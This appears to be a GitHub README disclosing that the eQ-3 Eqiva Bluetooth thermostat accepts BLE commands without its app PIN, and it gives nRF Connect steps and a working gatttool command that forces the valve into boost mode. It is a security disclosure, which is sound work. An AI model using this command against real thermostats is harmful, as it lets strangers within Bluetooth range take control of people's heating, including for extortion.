Skip to content

Latest commit

 

History

History
51 lines (26 loc) · 2.17 KB

Readme.md

File metadata and controls

51 lines (26 loc) · 2.17 KB

Security leak in smart home thermostat eQ-3 Eqiva Bluetooth

Beschreibung in Deutsch

The eQ-3 Eqiva is a smart home thermostat for radiators with an integrated Bluetooth LE interface. The manufacture recommends the following app to control the thermostat using a smartphone: Calor BT.

When using the app to connect to the thermostat a 4 digit PIN code which has to be read from the thermostat must be entered. This is an important security feature to only allow persons that have physical access to the thermostat to control it remotely.

Surprisingly this PIN code is not necessary when sending Bluetooth LE commands directly to the thermostat using the corresponding tools (an Android smartphone is sufficient, see below). This means that anyone within the Bluetooth LE range of around 40m can control and therefore hijack the thermostat.

Attack reasons reach from the sole purpose of changing the settings to blackmailing where the radiator is turned off until a certain amount of money has been paid.

At the moment it has to be advised to turn the Bluetooth feature off completely within the thermostat settings.

Android

1. Install nRF Connect

https://play.google.com/store/apps/details?id=no.nordicsemi.android.mcp&hl=de

2. Connect with the thermostat

01-nrf-connect

3. Select BLE Characteristic

02-nrf-connect

4. Activate boost mode (Fully open the valve)

03-nrf-connect

Linux (tested with Raspberry Pi 3 and Raspbian)

1. Scan for BLE devices

hcitool lescan

HCI Tool Scan Example

Device with name "CC-RT-BLE" is the thermostat.

2. Activate boost mode (Fully open the valve)

gatttool -b 00:1A:22:09:DA:10 --char-write-req --handle=0x0411 --value=4501

Change MAC address accordingly.

Further information: